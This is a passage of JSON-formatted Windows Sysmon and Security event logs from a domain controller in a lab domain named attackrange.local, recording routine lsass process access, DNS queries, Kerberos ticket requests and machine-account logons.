C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:19.937","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00102F140200}","TargetProcessId":"2168","TargetImage":"C:\\Windows\\system32\\dns.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31375|C:\\Windows\\system32\\lsasrv.dll+2f20b|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2279,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:19.849\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: WIN-DC-9849183\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:19.849","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"WIN-DC-9849183","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2280,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:19.849\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 0\r\nQueryResults: fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\dns.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:19.849","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"0","QueryResults":"fe80::c013:b6b3:a0dc:e7c1;::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\dns.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2281,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.320\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.Default-First-Site-Name._sites.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 33 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.320","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.Default-First-Site-Name._sites.attackrange.local.","QueryStatus":"0","QueryResults":"type: 33 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2282,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.321\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: _ldap._tcp.attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 33 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.321","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"_ldap._tcp.attackrange.local.","QueryStatus":"0","QueryResults":"type: 33 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2283,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.321\r\nProcessGuid: {90617006-3FD4-5F2D-0000-001041C30000}\r\nProcessId: 1212\r\nQueryName: attackrange.local\r\nQueryStatus: 0\r\nQueryResults: ::ffff:10.0.1.14;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.321","ProcessGuid":"{90617006-3FD4-5F2D-0000-001041C30000}","QueryName":"attackrange.local","QueryStatus":"0","QueryResults":"::ffff:10.0.1.14;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2284,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.321\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nQueryName: win-dc-9849183.attackrange.local\r\nQueryStatus: 9501\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\dns.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.321","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","QueryName":"win-dc-9849183.attackrange.local","QueryStatus":"9501","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\dns.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2285,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.321\r\nProcessGuid: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nProcessId: 860\r\nQueryName: attackrange.local.\r\nQueryStatus: 0\r\nQueryResults: type: 6 ;10.0.1.14;\r\nImage: C:\\Windows\\System32\\lsass.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.321","ProcessGuid":"{90617006-3FD2-5F2D-0000-0010F9530000}","QueryName":"attackrange.local.","QueryStatus":"0","QueryResults":"type: 6 ;10.0.1.14;","Image":"C:\\Windows\\System32\\lsass.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2286,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.322\r\nProcessGuid: {90617006-3FE4-5F2D-0000-00102F140200}\r\nProcessId: 2168\r\nQueryName: attackrange.local\r\nQueryStatus: 0\r\nQueryResults: type: 2 win-dc-9849183.attackrange.local;10.0.1.14;\r\nImage: C:\\Windows\\System32\\dns.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.322","ProcessGuid":"{90617006-3FE4-5F2D-0000-00102F140200}","QueryName":"attackrange.local","QueryStatus":"0","QueryResults":"type: 2 win-dc-9849183.attackrange.local;10.0.1.14;","Image":"C:\\Windows\\System32\\dns.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2287,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.322\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nProcessId: 1132\r\nQueryName: win10.ipv6.microsoft.com.\r\nQueryStatus: 0\r\nQueryResults: type: 5 onpremwindows.ipv6.microsoft.com.akadns.net;type: 5 trdovmssukwest.ipv6.microsoft.com.akadns.net;40.81.120.44;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.322","ProcessGuid":"{90617006-3FD4-5F2D-0000-00101AB90000}","QueryName":"win10.ipv6.microsoft.com.","QueryStatus":"0","QueryResults":"type: 5 onpremwindows.ipv6.microsoft.com.akadns.net;type: 5 trdovmssukwest.ipv6.microsoft.com.akadns.net;40.81.120.44;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2288,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.323\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: win10.ipv6.microsoft.com.\r\nQueryStatus: 0\r\nQueryResults: type: 5 onpremwindows.ipv6.microsoft.com.akadns.net;type: 5 trdovmssukwest.ipv6.microsoft.com.akadns.net;40.81.120.44;\r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.323","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"win10.ipv6.microsoft.com.","QueryStatus":"0","QueryResults":"type: 5 onpremwindows.ipv6.microsoft.com.akadns.net;type: 5 trdovmssukwest.ipv6.microsoft.com.akadns.net;40.81.120.44;","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":22,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":22,"OpcodeValue":0,"RecordNumber":2289,"ProcessID":2736,"ThreadID":3264,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Dns query:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.323\r\nProcessGuid: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nProcessId: 1368\r\nQueryName: eu-central-1.compute.internal\r\nQueryStatus: 9501\r\nQueryResults: \r\nImage: C:\\Windows\\System32\\svchost.exe","Category":"Dns query (rule: DnsQuery)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.323","ProcessGuid":"{90617006-3FD4-5F2D-0000-00105BD20000}","QueryName":"eu-central-1.compute.internal","QueryStatus":"9501","Image":"C:\\Windows\\System32\\svchost.exe","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":2290,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:50:20.343\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 4052\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD1-5F2D-0000-0010EB030000}\r\nTargetProcessId: 4\r\nTargetImage: System\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:50:20.343","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"4052","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD1-5F2D-0000-0010EB030000}","TargetProcessId":"4","TargetImage":"System","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\kerberos.DLL+96ea2|C:\\Windows\\system32\\kerberos.DLL+79354|C:\\Windows\\system32\\kerberos.DLL+13948|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+2c2c4|C:\\Windows\\system32\\lsasrv.dll+31819|C:\\Windows\\system32\\lsasrv.dll+2f177|C:\\Windows\\system32\\lsasrv.dll+2e101|C:\\Windows\\system32\\lsasrv.dll+16cdd|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1a96|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9187343239835811840,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":7036,"SourceName":"Service Control Manager","ProviderGuid":"{555908D1-A6D7-4695-8E1E-26931D2012F4}","Version":0,"Task":0,"OpcodeValue":0,"RecordNumber":76819,"ProcessID":852,"ThreadID":1152,"Channel":"System","Message":"The NetSetupSvc service entered the running state.","param1":"NetSetupSvc","param2":"running","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4769,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":14337,"OpcodeValue":0,"RecordNumber":221563,"ProcessID":860,"ThreadID":4052,"Channel":"Security","Message":"A Kerberos service ticket was requested.\r\n\r\nAccount Information:\r\n\tAccount Name:\t\tWIN-DC-9849183$@ATTACKRANGE.LOCAL\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon GUID:\t\t{782E8E6A-83BA-E0EA-C75F-90E759000376}\r\n\r\nService Information:\r\n\tService Name:\t\tWIN-DC-9849183$\r\n\tService ID:\t\tS-1-5-21-2899776527-1222892863-2568484180-1008\r\n\r\nNetwork Information:\r\n\tClient Address:\t\t::1\r\n\tClient Port:\t\t0\r\n\r\nAdditional Information:\r\n\tTicket Options:\t\t0x40810000\r\n\tTicket Encryption Type:\t0x12\r\n\tFailure Code:\t\t0x0\r\n\tTransited Services:\t-\r\n\r\nThis event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested.\r\n\r\nThis event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket.\r\n\r\nTicket options, encryption types, and failure codes are defined in RFC 4120.","Category":"Kerberos Service Ticket Operations","Opcode":"Info","TargetUserName":"WIN-DC-9849183$@ATTACKRANGE.LOCAL","TargetDomainName":"ATTACKRANGE.LOCAL","ServiceName":"WIN-DC-9849183$","ServiceSid":"S-1-5-21-2899776527-1222892863-2568484180-1008","TicketOptions":"0x40810000","TicketEncryptionType":"0x12","IpAddress":"::1","IpPort":"0","Status":"0x0","LogonGuid":"{782E8E6A-83BA-E0EA-C75F-90E759000376}","TransmittedServices":"-","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4672,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":0,"Task":12548,"OpcodeValue":0,"RecordNumber":221564,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"Special privileges assigned to new logon.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE\r\n\tLogon ID:\t\t0x3AEC2\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x3aec2","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 11:50:21","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:50:20","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":221565,"ProcessID":860,"ThreadID":900,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x3AEC2\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{A835F1AE-5213-3DB4-8332-0851C30500C1}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t49703\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific 